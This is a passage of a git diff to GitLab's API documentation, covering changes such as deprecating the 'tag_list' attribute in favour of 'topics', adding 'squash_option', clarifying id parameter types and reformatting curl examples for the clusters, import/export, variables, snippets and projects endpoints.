+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the cluster |
| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
@@ -247,7 +248,8 @@ Example response:
"path_with_namespace":"root/project-with-clusters-api",
"created_at":"2019-01-02T20:13:32.600Z",
"default_branch":null,
- "tag_list":[],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo":"ssh:://gitlab.example.com/root/project-with-clusters-api.git",
"http_url_to_repo":"https://gitlab.example.com/root/project-with-clusters-api.git",
"web_url":"https://gitlab.example.com/root/project-with-clusters-api",
@@ -281,7 +283,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `cluster_id` | integer | yes | The ID of the cluster |
| `name` | string | no | The name of the cluster |
| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
@@ -357,7 +359,8 @@ Example response:
"path_with_namespace":"root/project-with-clusters-api",
"created_at":"2019-01-02T20:13:32.600Z",
"default_branch":null,
- "tag_list":[],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo":"ssh:://gitlab.example.com/root/project-with-clusters-api.git",
"http_url_to_repo":"https://gitlab.example.com/root/project-with-clusters-api.git",
"web_url":"https://gitlab.example.com/root/project-with-clusters-api",
@@ -392,7 +395,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | ----------------------------------------------------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md
index a4ad496b667..b20ce9896dc 100644
--- a/doc/api/project_import_export.md
+++ b/doc/api/project_import_export.md
@@ -18,7 +18,7 @@ See also:
Start a new export.
-The endpoint also accepts an `upload` parameter. This parameter is a hash that contains
+The endpoint also accepts an `upload` parameter. This parameter is a hash. It contains
all the necessary information to upload the exported project to a web server or
to any S3-compatible platform. At the moment we only support binary
data file uploads to the final server.
@@ -70,23 +70,14 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
Status can be one of:
-- `none`
-- `queued`
-- `started`
-- `finished`
-- `regeneration_in_progress`
-
-`queued` state represents the request for export is received, and is currently in the queue to be processed.
-
-The `started` state represents that the export process has started and is currently in progress.
-It includes the process of exporting, actions performed on the resultant file such as sending
-an email notifying the user to download the file, uploading the exported file to a web server, etc.
-
-`finished` state is after the export process has completed and the user has been notified.
-
-`regeneration_in_progress` is when an export file is available to download, and a request to generate a new export is in process.
-
-`none` is when there are no exports _queued_, _started_, _finished_, or _being regenerated_
+- `none`: No exports _queued_, _started_, _finished_, or _being regenerated_.
+- `queued`: The request for export is received, and is in the queue to be processed.
+- `started`: The export process has started and is in progress. It includes:
+ - The process of exporting.
+ - Actions performed on the resulting file, such as sending an email notifying
+ the user to download the file, or uploading the exported file to a web server.
+- `finished`: After the export process has completed and the user has been notified.
+- `regeneration_in_progress`: An export file is available to download, and a request to generate a new export is in process.
`_links` are only present when export has finished.
@@ -122,7 +113,8 @@ GET /projects/:id/export/download
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name --remote-name "https://gitlab.example.com/api/v4/projects/5/export/download"
+curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \
+ --remote-name "https://gitlab.example.com/api/v4/projects/5/export/download"
```
```shell
@@ -153,7 +145,8 @@ The `file=` parameter must point to a file on your file system and be preceded
by `@`. For example:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "path=api-project" --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/projects/import"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "path=api-project" \
+ --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/projects/import"
```
cURL doesn't support posting a file from a remote server. Importing a project from a remote server can be accomplished through something like the following:
@@ -288,7 +281,7 @@ NOTE:
An element's `id` field in `failed_relations` references the failure record, not the relation.
NOTE:
-The `failed_relations` array is currently capped to 100 items.
+The `failed_relations` array is capped to 100 items.
```json
{
diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md
index 8ef887675e9..0b7193ad5bc 100644
--- a/doc/api/project_level_variables.md
+++ b/doc/api/project_level_variables.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, api
---
@@ -85,7 +85,8 @@ POST /projects/:id/variables
| `environment_scope` | string | no | The `environment_scope` of the variable. Default: `*` |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables" --form "key=NEW_VARIABLE" --form "value=new value"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/variables" --form "key=NEW_VARIABLE" --form "value=new value"
```
```json
@@ -119,7 +120,8 @@ PUT /projects/:id/variables/:key
| `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables/NEW_VARIABLE" --form "value=updated value"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/variables/NEW_VARIABLE" --form "value=updated value"
```
```json
diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md
index dd8954f2f0f..31c306bb14f 100644
--- a/doc/api/project_repository_storage_moves.md
+++ b/doc/api/project_repository_storage_moves.md
@@ -221,7 +221,8 @@ Example request:
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
---data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/projects/1/repository_storage_moves"
+ --data '{"destination_storage_name":"storage2"}' \
+ "https://gitlab.example.com/api/v4/projects/1/repository_storage_moves"
```
Example response:
@@ -266,7 +267,8 @@ Example request:
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
---data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves"
+ --data '{"source_storage_name":"default"}' \
+ "https://gitlab.example.com/api/v4/project_repository_storage_moves"
```
Example response:
diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md
index 070429eafd5..156d3c57a43 100644
--- a/doc/api/project_snippets.md
+++ b/doc/api/project_snippets.md
@@ -16,7 +16,7 @@ Constants for snippet visibility levels are:
| visibility | Description |
| ---------- | ----------- |
-| `private` | The snippet is visible only the snippet creator |
+| `private` | The snippet is visible only to the snippet creator |
| `internal` | The snippet is visible for any logged in user except [external users](../user/permissions.md#external-users) |
| `public` | The snippet can be accessed without any authentication |
@@ -225,7 +225,7 @@ Parameters:
- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
- `snippet_id` (required) - The ID of a project's snippet
-- `ref` (required) - The name of a branch, tag or commit, such as `master`
+- `ref` (required) - The name of a branch, tag or commit, such as `main`
- `file_path` (required) - The URL-encoded path to the file, such as `snippet%2Erb`
Example request:
@@ -239,7 +239,7 @@ curl "https://gitlab.com/api/v4/projects/1/snippets/2/files/master/snippet%2Erb/
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/29508) in GitLab 9.4.
-Available only for users with Administrator [permissions](../user/permissions.md).
+Available only for users with the Administrator [role](../user/permissions.md).
```plaintext
GET /projects/:id/snippets/:snippet_id/user_agent_detail
@@ -247,7 +247,7 @@ GET /projects/:id/snippets/:snippet_id/user_agent_detail
| Attribute | Type | Required | Description |
|---------------|---------|----------|--------------------------------------|
-| `id` | Integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding). |
| `snippet_id` | Integer | yes | The ID of a snippet |
Example request:
diff --git a/doc/api/projects.md b/doc/api/projects.md
index b686d17a4a1..e5cb2c8e1eb 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -59,7 +59,7 @@ GET /projects
| `sort` | string | **{dotted-circle}** No | Return projects sorted in `asc` or `desc` order. Default is `desc`. |
| `starred` | boolean | **{dotted-circle}** No | Limit by projects starred by the current user. |
| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
-| `topic` | string | **{dotted-circle}** No | Comma-separated topic names. Limit results to projects that match all of given topics. See `tag_list` attribute. |
+| `topic` | string | **{dotted-circle}** No | Comma-separated topic names. Limit results to projects that match all of given topics. See `topics` attribute. |
| `visibility` | string | **{dotted-circle}** No | Limit by visibility `public`, `internal`, or `private`. |
| `wiki_checksum_failed` **(PREMIUM)** | boolean | **{dotted-circle}** No | Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2). |
| `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ |
@@ -82,7 +82,11 @@ When `simple=true` or the user is unauthenticated this returns something like:
"http_url_to_repo": "http://example.com/diaspora/diaspora-client.git",
"web_url": "http://example.com/diaspora/diaspora-client",
"readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora client"
+ ],
+ "topics": [
"example",
"disapora client"
],
@@ -116,7 +120,11 @@ When the user is authenticated and `simple` is not set this returns something li
"http_url_to_repo": "http://example.com/diaspora/diaspora-client.git",
"web_url": "http://example.com/diaspora/diaspora-client",
"readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora client"
+ ],
+ "topics": [
"example",
"disapora client"
],
@@ -166,6 +174,7 @@ When the user is authenticated and `simple` is not set this returns something li
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on
@@ -200,7 +209,11 @@ When the user is authenticated and `simple` is not set this returns something li
"http_url_to_repo": "http://example.com/brightbox/puppet.git",
"web_url": "http://example.com/brightbox/puppet",
"readme_url": "http://example.com/brightbox/puppet/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "puppet"
+ ],
+ "topics": [
"example",
"puppet"
],
@@ -261,6 +274,7 @@ When the user is authenticated and `simple` is not set this returns something li
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"repository_storage": "default",
@@ -301,6 +315,10 @@ When the user is authenticated and `simple` is not set this returns something li
```
NOTE:
+The `tag_list` attribute has been deprecated
+and is removed in API v5 in favor of the `topics` attribute.
+
+NOTE:
For users of [GitLab Premium or higher](https://about.gitlab.com/pricing/),
the `marked_for_deletion_at` attribute has been deprecated, and is removed
in API v5 in favor of the `marked_for_deletion_on` attribute.
@@ -378,7 +396,11 @@ GET /users/:user_id/projects
"http_url_to_repo": "http://example.com/diaspora/diaspora-client.git",
"web_url": "http://example.com/diaspora/diaspora-client",
"readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora client"
+ ],
+ "topics": [
"example",
"disapora client"
],
@@ -428,6 +450,7 @@ GET /users/:user_id/projects
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on
@@ -462,7 +485,11 @@ GET /users/:user_id/projects
"http_url_to_repo": "http://example.com/brightbox/puppet.git",
"web_url": "http://example.com/brightbox/puppet",
"readme_url": "http://example.com/brightbox/puppet/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "puppet"
+ ],
+ "topics": [
"example",
"puppet"
],
@@ -523,6 +550,7 @@ GET /users/:user_id/projects
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"repository_storage": "default",
@@ -606,7 +634,11 @@ Example response:
"http_url_to_repo": "http://example.com/diaspora/diaspora-client.git",
"web_url": "http://example.com/diaspora/diaspora-client",
"readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora client"
+ ],
+ "topics": [
"example",
"disapora client"
],
@@ -654,6 +686,7 @@ Example response:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"statistics": {
@@ -683,7 +716,11 @@ Example response:
"http_url_to_repo": "http://example.com/brightbox/puppet.git",
"web_url": "http://example.com/brightbox/puppet",
"readme_url": "http://example.com/brightbox/puppet/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "puppet"
+ ],
+ "topics": [
"example",
"puppet"
],
@@ -742,6 +779,7 @@ Example response:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"repository_storage": "default",
@@ -789,7 +827,7 @@ GET /projects/:id
| Attribute | Type | Required | Description |
|--------------------------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `license` | boolean | **{dotted-circle}** No | Include project license data. |
| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
| `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ |
@@ -804,7 +842,11 @@ GET /projects/:id
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
"readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora project"
+ ],
+ "topics": [
"example",
"disapora project"
],
@@ -900,6 +942,7 @@ GET /projects/:id
"printing_merge_requests_link_enabled": true,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"approvals_before_merge": 0,
@@ -940,6 +983,10 @@ GET /projects/:id
}
```
+NOTE:
+The `tag_list` attribute has been deprecated
+and is removed in API v5 in favor of the `topics` attribute.
+
Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/)
can also see the `approvals_before_merge` parameter:
@@ -974,12 +1021,13 @@ If the project is a fork, and you provide a valid token to authenticate, the
"path_with_namespace":"gitlab-org/gitlab-foss",
"created_at":"2013-09-26T06:02:36.000Z",
"default_branch":"master",
- "tag_list":[],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo":"git@gitlab.com:gitlab-org/gitlab-foss.git",
"http_url_to_repo":"https://gitlab.com/gitlab-org/gitlab-foss.git",
"web_url":"https://gitlab.com/gitlab-org/gitlab-foss",
"avatar_url":"https://assets.gitlab-static.net/uploads/-/system/project/avatar/13083/logo-extra-whitespace.png",
- "license_url": "https://gitlab.com/gitlab-org/gitlab/blob/master/LICENSE",
+ "license_url": "https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE",
"license": {
"key": "mit",
"name": "MIT License",
@@ -1032,7 +1080,7 @@ GET /projects/:id/users
| Attribute | Type | Required | Description |
|--------------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `search` | string | **{dotted-circle}** No | Search for specific users. |
| `skip_users` | integer array | **{dotted-circle}** No | Filter out users with the specified IDs. |
@@ -1067,7 +1115,7 @@ GET /projects/:id/groups
| Attribute | Type | Required | Description |
|-----------------------------|-------------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `search` | string | **{dotted-circle}** No | Search for specific groups. |
| `skip_groups` | array of integers | **{dotted-circle}** No | Skip the group IDs passed. |
| `with_shared` | boolean | **{dotted-circle}** No | Include projects shared with this group. Default is `false`. |
@@ -1117,7 +1165,7 @@ POST /projects
| `path` | string | **{check-circle}** Yes (if name isn't provided) | Repository name for new project. Generated based on name if not provided (generated as lowercase with dashes). |
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
| `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` |
-| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. |
+| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). |
| `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. |
| `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). |
| `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. |
@@ -1130,7 +1178,7 @@ POST /projects
| `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. |
| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). Valid values for `cadence` are: `1d` (every day), `7d` (every week), `14d` (every two weeks), `1month` (every month), or `3month` (every quarter). |
| `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. |
-| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. |
+| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. Requires `initialize_with_readme` to be `true`. |
| `description` | string | **{dotted-circle}** No | Short project description. |
| `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. |
| `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. |
@@ -1165,9 +1213,11 @@ POST /projects
| `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. |
| `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
-| `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. |
+| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
+| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. |
| `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. |
+| `topics` | array | **{dotted-circle}** No | The list of topics for a project; put array of topics, that should be finally assigned to a project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. |
| `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). |
| `wiki_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
@@ -1191,7 +1241,7 @@ POST /projects/user/:user_id
| `name` | string | **{check-circle}** Yes | The name of the new project. |
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
| `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` |
-| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. |
+| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). |
| `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. |
| `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). |
| `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. |
@@ -1204,6 +1254,7 @@ POST /projects/user/:user_id
| `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. |
| `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. |
| `description` | string | **{dotted-circle}** No | Short project description. |
+| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. Requires `initialize_with_readme` to be `true`. |
| `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. |
| `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. |
| `forking_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
@@ -1238,9 +1289,11 @@ POST /projects/user/:user_id
| `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. |
| `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
-| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. |
-| `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. |
+| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
+| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request [suggestions](../user/project/merge_requests/reviews/suggestions.md). |
+| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. |
+| `topics` | array | **{dotted-circle}** No | The list of topics for the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. |
| `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). |
| `wiki_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
@@ -1262,7 +1315,7 @@ PUT /projects/:id
|-------------------------------------------------------------|----------------|------------------------|-------------|
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
| `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` |
-| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. |
+| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). |
| `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. |
| `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual`, or `timed_incremental`). |
| `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. |
@@ -1282,7 +1335,7 @@ PUT /projects/:id
| `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. |
| `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. |
| `forking_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `import_url` | string | **{dotted-circle}** No | URL to import repository from. |
| `issues_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `issues_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable issues for this project. Use `issues_access_level` instead. |
@@ -1316,13 +1369,16 @@ PUT /projects/:id
| `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. |
| `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
+| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. |
-| `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. |
+| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
+| `topics` | array | **{dotted-circle}** No | The list of topics for the project. This replaces any existing topics that are already added to the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). |
| `wiki_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `wiki_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable wiki for this project. Use `wiki_access_level` instead. |
| `issues_template` **(PREMIUM)** | string | **{dotted-circle}** No | Default description for Issues. Description is parsed with GitLab Flavored Markdown. See [Templates for issues and merge requests](#templates-for-issues-and-merge-requests). |
| `merge_requests_template` **(PREMIUM)** | string | **{dotted-circle}** No | Default description for Merge Requests. Description is parsed with GitLab Flavored Markdown. See [Templates for issues and merge requests](#templates-for-issues-and-merge-requests). |
+| `keep_latest_artifact` | boolean | **{dotted-circle}** No | Disable or enable the ability to keep the latest artifact for this project. |
## Fork project
@@ -1338,11 +1394,11 @@ POST /projects/:id/fork
| Attribute | Type | Required | Description |
|------------------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `name` | string | **{dotted-circle}** No | The name assigned to the resultant project after forking. |
| `namespace_id` | integer | **{dotted-circle}** No | The ID of the namespace that the project is forked to. |
| `namespace_path` | string | **{dotted-circle}** No | The path of the namespace that the project is forked to. |
-| `namespace` | integer/string | **{dotted-circle}** No | _(Deprecated)_ The ID or path of the namespace that the project is forked to. |
+| `namespace` | integer or string | **{dotted-circle}** No | _(Deprecated)_ The ID or path of the namespace that the project is forked to. |
| `path` | string | **{dotted-circle}** No | The path assigned to the resultant project after forking. |
| `description` | string | **{dotted-circle}** No | The description assigned to the resultant project after forking. |
| `visibility` | string | **{dotted-circle}** No | The [visibility level](#project-visibility-level) assigned to the resultant project after forking. |
@@ -1361,7 +1417,7 @@ GET /projects/:id/forks
| Attribute | Type | Required | Description |
|-------------------------------|----------------|------------------------|-------------|
| `archived` | boolean | **{dotted-circle}** No | Limit by archived status. |
